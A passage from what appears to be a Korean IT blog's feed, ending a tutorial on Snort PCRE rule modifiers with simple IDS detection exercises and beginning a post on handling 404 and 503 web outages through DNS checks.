&lt;p data-ke-size=&quot;size16&quot;&gt;- 구분자 뒤에 사용 /abc/iU&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.9767%; text-align: center;&quot;&gt;&lt;b&gt;옵션&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 83.0233%; text-align: center;&quot;&gt;&lt;b&gt;의미&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.9767%; text-align: center;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;i&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 83.0233%;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;패턴의 대문자와 소문자를 구별하지 않고 검색하는 옵션&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.9767%; text-align: center;&quot;&gt;&lt;b&gt;s&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 83.0233%;&quot;&gt;개행이 되더라도 문자열을 1줄로 인식하여 메타문자 . 기능이 동작하는 옵션&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.9767%; text-align: center;&quot;&gt;&lt;b&gt;m&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 83.0233%;&quot;&gt;메타문자 ^와 $가 행마다 동작하게 하는 옵션&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.9767%; text-align: center;&quot;&gt;&lt;b&gt;x&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 83.0233%;&quot;&gt;패턴에 존재하는 모든 공백을 무시하는 옵션&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;스노트 지원 PCRE 옵션&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- HTTP 관련 옵션과 동일한 기능&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 112px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 9.14729%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;옵션&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 59.0308%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;의미&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 31.8218%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;유사 스노트 옵션&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 9.14729%; text-align: center;&quot;&gt;&lt;b&gt;B&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 59.0308%;&quot;&gt;정규화 되지 않은 원본 패킷과 패턴 매치&lt;/td&gt;
&lt;td style=&quot;width: 31.8218%;&quot;&gt;rawbytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 9.14729%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;M&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 59.0308%; height: 16px;&quot;&gt;HTTP 메소드(Method)와 패턴 매치&lt;/td&gt;
&lt;td style=&quot;width: 31.8218%; height: 16px;&quot;&gt;http_method&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 9.14729%; height: 16px; text-align: center;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;H&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 59.0308%; height: 16px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;정규화된 HTTP 요청(Request) 메시지 헤더 정보와 패턴 매치&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 31.8218%; height: 16px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;http_header&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 9.14729%; text-align: center;&quot;&gt;&lt;b&gt;D&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 59.0308%;&quot;&gt;정규화 되지 않은 HTTP 요청 메시지 헤더 정보와 패턴 매치&lt;/td&gt;
&lt;td style=&quot;width: 31.8218%;&quot;&gt;http_raw_header&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 9.14729%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;P&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 59.0308%; height: 16px;&quot;&gt;HTTP 요청 메시지 바디와 패턴 매치&lt;/td&gt;
&lt;td style=&quot;width: 31.8218%; height: 16px;&quot;&gt;http_client_body&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 9.14729%; height: 16px; text-align: center;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;U&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 59.0308%; height: 16px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;정규화된 URL 디코딩한 문자열과 패턴 매치&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 31.8218%; height: 16px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;http_uri, uricontent&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 9.14729%; text-align: center;&quot;&gt;&lt;b&gt;I&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 59.0308%;&quot;&gt;정규화 되지 않은 URL 디코딩한 문자열과 패턴 매치&lt;/td&gt;
&lt;td style=&quot;width: 31.8218%;&quot;&gt;http_raw_uri&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 9.14729%; text-align: center;&quot;&gt;&lt;b&gt;C&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 59.0308%;&quot;&gt;정규화된 HTTP 요청과 응답(response)의 쿠키 값과 패턴 매치&lt;/td&gt;
&lt;td style=&quot;width: 31.8218%;&quot;&gt;http_cookie&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 9.14729%; text-align: center;&quot;&gt;&lt;b&gt;K&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 59.0308%;&quot;&gt;정규화 되지 않은 HTTP 요청과 응답의 쿠키 값과 패턴 매치&lt;/td&gt;
&lt;td style=&quot;width: 31.8218%;&quot;&gt;http_raw_cookie&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 9.14729%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;S&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 59.0308%; height: 16px;&quot;&gt;HTTP 응답 코드와 패턴 매치&lt;/td&gt;
&lt;td style=&quot;width: 31.8218%; height: 16px;&quot;&gt;http_stat_code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 9.14729%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;Y&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 59.0308%; height: 16px;&quot;&gt;HTTP 응답 상태 메시지와 패턴 매치&lt;/td&gt;
&lt;td style=&quot;width: 31.8218%; height: 16px;&quot;&gt;http_stat_msg&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제 풀이 - 정규표현식 옵션&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예제1) pcre:&quot;/union/Ui&quot; 가 탐지 할 수 있는 경우를 찾으시오.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. &lt;span style=&quot;color: #ee2323;&quot;&gt;UniON&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. &lt;span style=&quot;color: #ee2323;&quot;&gt;union&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. &lt;span style=&quot;color: #ee2323;&quot;&gt;UnioN&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예제2) 200 응답 코드나 404 응답 코드를 찾는 정규식을 만드시오&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;span style=&quot;color: #ee2323;&quot;&gt;pcre:&quot;/(200|404)/S&quot;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예제3) 요청 메시지 헤더에서 select 문자열을 찾는 정규식을 만드시오&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;span style=&quot;color: #ee2323;&quot;&gt;pcre:&quot;/select/Hi&quot;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;아스키 코드 참고&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;868&quot; data-origin-height=&quot;796&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVqXW8/btsOuWU97ea/eDQnPyDbgeMwjYpvGN0bD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVqXW8/btsOuWU97ea/eDQnPyDbgeMwjYpvGN0bD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVqXW8/btsOuWU97ea/eDQnPyDbgeMwjYpvGN0bD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVqXW8%2FbtsOuWU97ea%2FeDQnPyDbgeMwjYpvGN0bD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;868&quot; height=&quot;796&quot; data-origin-width=&quot;868&quot; data-origin-height=&quot;796&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9-%ED%95%B4%ED%82%B9-%EC%8A%A4%EB%85%B8%ED%8A%B8-%EB%B6%84%EC%84%9D%EC%B9%A8%ED%95%B4/dashboard&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9-%ED%95%B4%ED%82%B9-%EC%8A%A4%EB%85%B8%ED%8A%B8-%EB%B6%84%EC%84%9D%EC%B9%A8%ED%95%B4/dashboard&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT 지식/IT 정보</category>
      <category>IDS</category>
      <category>IPS</category>
      <category>Snort</category>
      <category>suricata</category>
      <category>수리카타</category>
      <category>스노트</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/225</guid>
      <comments>https://it-log.tistory.com/225#entry225comment</comments>
      <pubDate>Tue, 10 Jun 2025 22:00:55 +0900</pubDate>
    </item>
    <item>
      <title>IT 인프라 장애 유형 및 대처 방안</title>
      <link>https://it-log.tistory.com/224</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;404 Not Found&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- '웹 페이지를 표시할 수 없습니다'라는 뜻의 장애&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 자체는 존재하나 해당 &lt;b&gt;서버에 클라이언트가 요청한 데이터가 없을 때&lt;/b&gt; 나타남&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;잘못된 정보를 요청&lt;/b&gt;해서 보여줄 게 없음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;951&quot; data-origin-height=&quot;321&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c8LPcU/btsOmqjh9lO/8mYsWKLFqZWMaWPyvP5XiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c8LPcU/btsOmqjh9lO/8mYsWKLFqZWMaWPyvP5XiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c8LPcU/btsOmqjh9lO/8mYsWKLFqZWMaWPyvP5XiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc8LPcU%2FbtsOmqjh9lO%2F8mYsWKLFqZWMaWPyvP5XiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;951&quot; height=&quot;321&quot; data-origin-width=&quot;951&quot; data-origin-height=&quot;321&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 404 Not Found 발생 시 대처 방안&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 호스팅하고 있는 서비스의 DNS 정보가 변경되었는지 확인 필요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DNS: Domain Name System&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;694&quot; data-origin-height=&quot;437&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vnf7S/btsOlM708hD/shu3DDhCqB5ogW9PfoJdV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vnf7S/btsOlM708hD/shu3DDhCqB5ogW9PfoJdV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vnf7S/btsOlM708hD/shu3DDhCqB5ogW9PfoJdV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvnf7S%2FbtsOlM708hD%2Fshu3DDhCqB5ogW9PfoJdV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;694&quot; height=&quot;437&quot; data-origin-width=&quot;694&quot; data-origin-height=&quot;437&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;868&quot; data-origin-height=&quot;316&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lkpfR/btsOoh6yxc1/ZbcBZpkJClRDiP7Nak78g1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lkpfR/btsOoh6yxc1/ZbcBZpkJClRDiP7Nak78g1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lkpfR/btsOoh6yxc1/ZbcBZpkJClRDiP7Nak78g1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlkpfR%2FbtsOoh6yxc1%2FZbcBZpkJClRDiP7Nak78g1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;868&quot; height=&quot;316&quot; data-origin-width=&quot;868&quot; data-origin-height=&quot;316&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;761&quot; data-origin-height=&quot;435&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4EZQF/btsOnX1tkZ1/kyCKkl64vdEYL3ymWyFEyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4EZQF/btsOnX1tkZ1/kyCKkl64vdEYL3ymWyFEyK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4EZQF/btsOnX1tkZ1/kyCKkl64vdEYL3ymWyFEyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4EZQF%2FbtsOnX1tkZ1%2FkyCKkl64vdEYL3ymWyFEyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;761&quot; height=&quot;435&quot; data-origin-width=&quot;761&quot; data-origin-height=&quot;435&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;775&quot; data-origin-height=&quot;438&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DFclH/btsOoal5ihf/kh3ydkTohCkjAYN6hiTUrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DFclH/btsOoal5ihf/kh3ydkTohCkjAYN6hiTUrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DFclH/btsOoal5ihf/kh3ydkTohCkjAYN6hiTUrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDFclH%2FbtsOoal5ihf%2Fkh3ydkTohCkjAYN6hiTUrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;775&quot; height=&quot;438&quot; data-origin-width=&quot;775&quot; data-origin-height=&quot;438&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. DNS 및 URL 구성 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 온프레미스 IT 인프라에서는 서버 관리자 메뉴에서 DNS 설정 변경&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;350&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dzHz72/btsOmWhVRFq/kRVGxFIZZtkaK64Ew8Z9BK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dzHz72/btsOmWhVRFq/kRVGxFIZZtkaK64Ew8Z9BK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dzHz72/btsOmWhVRFq/kRVGxFIZZtkaK64Ew8Z9BK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdzHz72%2FbtsOmWhVRFq%2FkRVGxFIZZtkaK64Ew8Z9BK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;924&quot; height=&quot;350&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;350&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클라우드에서는 IP 설정 관리자 메뉴에서 DNS 설정 변경&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;883&quot; data-origin-height=&quot;364&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsSmhl/btsOmMTPsG9/1dpoZ2lz4xFVfQWELGbAj1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsSmhl/btsOmMTPsG9/1dpoZ2lz4xFVfQWELGbAj1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsSmhl/btsOmMTPsG9/1dpoZ2lz4xFVfQWELGbAj1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsSmhl%2FbtsOmMTPsG9%2F1dpoZ2lz4xFVfQWELGbAj1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;883&quot; height=&quot;364&quot; data-origin-width=&quot;883&quot; data-origin-height=&quot;364&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;503 Service Temporarily Unavailable&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &quot;서비스를 일시적으로 이용할 수 없습니다&quot; 라는 뜻의 장애&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버에 있는 데이터에는 문제가 없으나 &lt;b&gt;서버 과부하로 인해 서버의 데이터에 접속할 수 없는 상태&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;679&quot; data-origin-height=&quot;297&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8mMIg/btsOnZSAAr8/gv2KiiY03B1ypst6CuJNF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8mMIg/btsOnZSAAr8/gv2KiiY03B1ypst6CuJNF1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8mMIg/btsOnZSAAr8/gv2KiiY03B1ypst6CuJNF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8mMIg%2FbtsOnZSAAr8%2Fgv2KiiY03B1ypst6CuJNF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;679&quot; height=&quot;297&quot; data-origin-width=&quot;679&quot; data-origin-height=&quot;297&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 주로 웹 서버가 몰려드는 트래픽을 감당하지 못해 발생하거나 웹 서버와 WAS와의 설정 오류로 인해 발생&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/varoI/btsOmxbBs4r/ehmbUNt2xfVpPKTdW8ifPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/varoI/btsOmxbBs4r/ehmbUNt2xfVpPKTdW8ifPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/varoI/btsOmxbBs4r/ehmbUNt2xfVpPKTdW8ifPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvaroI%2FbtsOmxbBs4r%2FehmbUNt2xfVpPKTdW8ifPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;765&quot; height=&quot;302&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;302&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
